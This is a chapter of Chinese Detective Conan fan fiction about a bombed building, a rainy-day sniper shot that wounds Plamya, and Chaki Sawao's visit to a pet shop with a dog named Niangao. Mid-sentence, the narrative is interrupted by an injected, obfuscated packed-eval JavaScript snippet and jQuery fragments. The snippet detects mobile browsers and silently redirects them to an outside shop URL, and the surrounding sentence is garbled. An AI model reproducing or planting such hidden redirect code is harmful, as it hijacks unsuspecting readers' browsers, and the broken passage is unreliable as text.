57.三个人的阴雨天

作品:《[名柯]误入酒厂后

    相较于固态/炸药,液体/炸药的拆解与处理都要麻烦不少。


    与松田阵平在交流会上遇到的状况一样,大家缺乏相关应对手段。


    即便被成功拆解,在信息不足的前提下,也没人敢百分之百保证在运送过程中不会出问题。


    因此,一群人商量了半天的后续处置方式就变成了言简意赅的四个字——


    原地爆破。


    要不是萩原研二在一旁拦着。


    刚拆完炸弹不久,就被告知要把那些错综复杂的连接线重新接回去的松田阵平能直接把引爆线接在指令办公室的电话线上。


    在萩原研二的劝慰声,以及松田阵平愤愤不平的抱怨中,那栋楼还是被炸了。


    或许是爆炸扬起的尘雾为近期飘在米花上空的水汽提供了寄托。


    一场细雨飘飘洒洒下了一个星期,丝毫没有要停下来的迹象。


    这种环境让组织成员的作业环境差了不少,宫野两姐妹的会面也因某些不知名原因停了下来。


    茶木泽生猜测是宫野志保的实验进入了关键时期。


    之前在龙舌兰那里,茶木泽生看到了一个特殊的加密程序。


    这种程序通常用于大型医药公司的内部监控网络的连接。


    组织里能用得上这些东西的只有宫野志保,用这种软件能做到实时观测那些小白鼠的动向。


    相关信息能储存一个月之久,这些变化对她的实验很有利。


    但这些只是茶木泽生的猜测,自那场婚礼过后,他再也没见过宫野志保。


    而那间实验室,更是自他送过一次硬盘资料后,变成了禁止入内的区域。


    要不是有送资料这件事在前面挡着,再加上在里面呆的时间并不算长,茶木泽生也难逃责罚。


    实验用的小白鼠对环境的感知很敏锐,即便是在地下也能察觉到地上的动静。


    待在新实验室的宫野志保记下了这个特殊的环境节点。


    即便装上了最先进的空气循环系统,监控里的小白鼠依旧精神萎靡。


    与它们的动作完全相反的,是逐渐增加的食欲。


    阴湿的环境被体内的基因判定为不适合觅食,于是它们开始尽可能地吞下更多的食物。


    这些不受控的变量,让宫野志保对这场持续了一周的阴雨感到厌烦。


    天气这种东西,有讨厌就有人喜欢。


    诸星大就很喜欢这种细雨朦胧的天气。


    这种天气不仅不会影响行动,反而能带来一些预料之外的线索。


    站在楼顶的诸星大低头看着琴酒传来的照片。


    虽然那张照片的拍摄方式毫无技巧,构图与光影全都乱的一团糟,但却十分符合通缉令的拍摄方式。


    里面的主体清晰突出,能让人以最快的速度抓到基本特点。


    动用了FBI内部手段以及部分线人才找到目标的诸星大俯下身,通过狙击枪的瞄准镜找到了那个在人群中不断变换位置的人。


    即便做了伪装,经受过专业训练的人也能从一个人的步速、行为习惯、甚至是下意识的动作中看出一些东西来。


    在下雨天,正常人的需求都会从各种各样的想法变成较为相似的一点——不被雨淋到。


    而亡命之徒则会将生存放在首位。


    这种不会有太多人关注别处的环境,会让他们感到放松。


    而这一与众不同的特征会让他们的身影变得格外突出显眼,也能帮助追捕者用更少的时间锁定目标。


    多亏了日本公安近期在严格审查出入境,否则诸星大也不会这么快就找到目标人选。


    沉下呼吸,瞄准目标的诸星大绷紧躯体,他没有理会那些洒在身上的雨滴,按部就班地把手指搭上了扳机。


    瞄准镜已经失去了应有的作用,但这点环境因素对诸星大来说没有任何影响。


    和那些特训手段相比,这场雨留下的痕迹称得上是温和。


    诸星大收拢手指,压在枪膛里的子弹瞬间飞出,精准无误地贯穿了普拉米亚的——


    “肩膀?”


    将瞄准镜前的雨水抹掉,诸星大又一次通过狙击枪确认了目标中弹的位置。


    在射击发生时,普拉米亚的身形晃了一下,这让那颗本该瞄准心脏的子弹偏向了肩膀。


    即便受到了伏击,伤口处的鲜血正混着雨水往下流,普拉米亚依旧没有松开捏住伞柄的手。


    不让敌人看到自己的容貌,这是她最后的底牌。


    意识到自己的处境并不安全的普拉米亚强忍着疼痛,撑着伞,把自己挤进了周围的人群中。


    她在用这些路人的身体来当挡箭牌。


    好在有了雨伞做隔离,再加上空气中的潮湿与泥土味过重,倒是没有几个人闻到了那突如其来的血腥味。


    这一举动让在瞄准镜里看到全程的诸星大不得不放弃了继续狙击的想法。


    继续动手的话,误伤普通人的概率很大。


    诸星大就着这个动作没有起身,他只是把身体略微往外倾斜了一些,分别给琴酒以及卡迈尔发送了普拉米亚逃跑的方向。


    被雨水淋过的伤口很容易发炎。


    她身上的伤肯定不敢去正规医院,给钱什么都敢接的黑诊所就成了普拉米亚的首选。


    而那些地方,或多或少都能和组织的人扯上点关系。


    在某种程度上,诸星大也算是完成了这个任务。


    等到这条街上的人全都换了一批,诸星大这才收起枪,让自己逐渐融入人流。


    持续不断的雨水会将这里残留的痕迹冲刷得一干二净,包括他刚才开枪,以及离开此地的证据。


    而这,正是茶木泽生喜欢下雨天的原因。


    能减少生物痕迹的雨天,向来适合逃命。


    屋外空气阴湿、偶尔刮起来的风执意要把寒冷塞进每个过路人的怀里。


    即便目前的生活勉强算是稳定,已经不需要继续逃命了,茶木泽生依旧保留着在下雨天出门的习惯。


    他撑着伞,在心底盘算着要带点什么东西回家。


    最近在换季,茶木泽生总是无法从衣柜里挑出适配这个时间的衣服。


    不是太厚,就是太薄。


    似乎所有的服装设计师都默契地忽略了这个短暂的时间点。


    不得已之下,茶木泽生只好每次都穿着两件衣服出门。


    除了缺少合适的衣服外,冰箱也快空了……


    最近茶木泽生一直在家里处理琴酒丢过来的善后工作,这让他的食物储备消耗得格外快。


    原本能撑上一周的食材,只过了四天就没剩下多少了。


    茶木泽生有一个习惯,为了不让别人看出自己爱吃什么,每隔一段时间就会换一个地方采购。


    即便有些东西不爱吃,也会捎带着买上一些。


    但这个习惯也导致了一个无法避免的问题。


    冰箱里的部分食材,根本没人吃。


    茶木泽生试过把一些食材焯了水喂给在附近徘徊流浪的猫和流浪狗。


    根据食客反馈来看,他的烹饪水平还有很大的进步空间。


    那些猫狗总是兴冲冲的围过来,然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393662|193917||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后蔫哒哒的离开。


    心里有点过意不去的茶木泽生去了附近的宠物店,想要买点专业人士做的标准化食品。


    在选购过程中,得知这些东西都是为附近生活的流浪动物准备的店长一拍手,当即把店丢给了茶木泽生。


    自己则满是兴奋地带着店员,把附近的流浪动物,无论猫狗全都带了回来,还顺带给它们全员都预约了绝育手术。


    自那天起,近几条街的流浪猫与流浪狗全都被店长收入囊中。


    又一次路过这家店,一只趴在橱窗围栏,还没有被领养的白色小狗摇着尾巴,冲着茶木泽生叫了一声。


    见茶木泽生停下了脚步,那只小狗又叫了一声。


    它十分熟练地翻身从围栏里跑了出来,昂着头,把自己从玻璃门里挤了出来。兴冲冲地用牙齿拽着茶木泽生的裤腿,带着他往店里跑。


    一进门,这只白色小狗就直奔零食展柜,在自己最喜欢的一款零食面前翻过肚皮,四条腿蹬着空气,意图明确地对着茶木泽生撒娇。


    “年糕,不可以这样!”


    姗姗来迟的店员一边道歉,一边抱起“越狱”的年糕,把它重新放回了围栏里:“抱歉先生,这个孩子有点太活泼了。”


    店员的脸上满是歉意,刚才她摸到了年糕的脚。修剪过的毛发上沾了脏水,它一定又偷偷跑出门了。


    从对话中听到自己名字的年糕又叫了一声,它又一次跑了出来,欢快地围着茶木泽生转圈。


    转几圈还会试探性地往零食展柜面前跑几步,见茶木泽生没有帮他开零食的想法,这才委屈地趴了下来。


    一旁的店员建议道:“年糕好像很喜欢你,正好我们店里在做互动,可以免费领养的。”


    “还是不了。”茶木泽生强迫自己把视线从年糕的身上挪开,婉拒了这个提议,“我的工作需要经常出差,怕是照顾不好它。”


    琴酒一个电话,茶木泽生就得跟着天南海北的跑,住处里藏着的那些东西也不能被别人看到。


    他那粗糙的生活状态根本不具备领养的条件。


    “这样啊。”店员的眼中闪过一丝惋惜。


    刚才她仔细观察过眼前的陌生客人,脾气和涵养都不错,对待宠物也有耐心。


    还以为这次能给年糕找一个合适的领养家庭呢。


    离开宠物店的茶木泽生遗憾地往回看了一眼。


    他其实还挺喜欢小动物的。


    在逃亡的那段日子里,茶木泽生偶尔也会有情绪压抑到极点的时候。


    世界上所有的人都有秘密,这些秘密通常分为两种,能说的和不能说的。


    不巧的是,无论是什么时候,茶木泽生身上背负的秘密大多都是不能说的那一种。


    在这种条件下,与不会说话的动物倾诉就成了最好的方式。


    茶木泽生偶尔会用火腿肠和零食罐头当作门票,换取一个让小动物们帮自己保守秘密的机会。


    刚才他就没忍住想帮年糕买下那份零食。


    刚要掏钱,茶木泽生就被店员告知:之所以把年糕“单独关押”,就是因为它老是偷吃零食。


    怪不得撒娇的动作那么熟练,看来没少骗人。


    茶木泽生转过身,准备继续自己的购物之旅。


    刚迈出一只脚,就听见身后传来一声熟悉的:“汪!”


    刚被压下的领养心思就又浮了起来,已经开始为自己找理由拒绝外勤任务的茶木泽生回头一看。


    年糕这个惯犯,正拖着另一个人的裤腿往店里跑。


    茶木泽生:“……”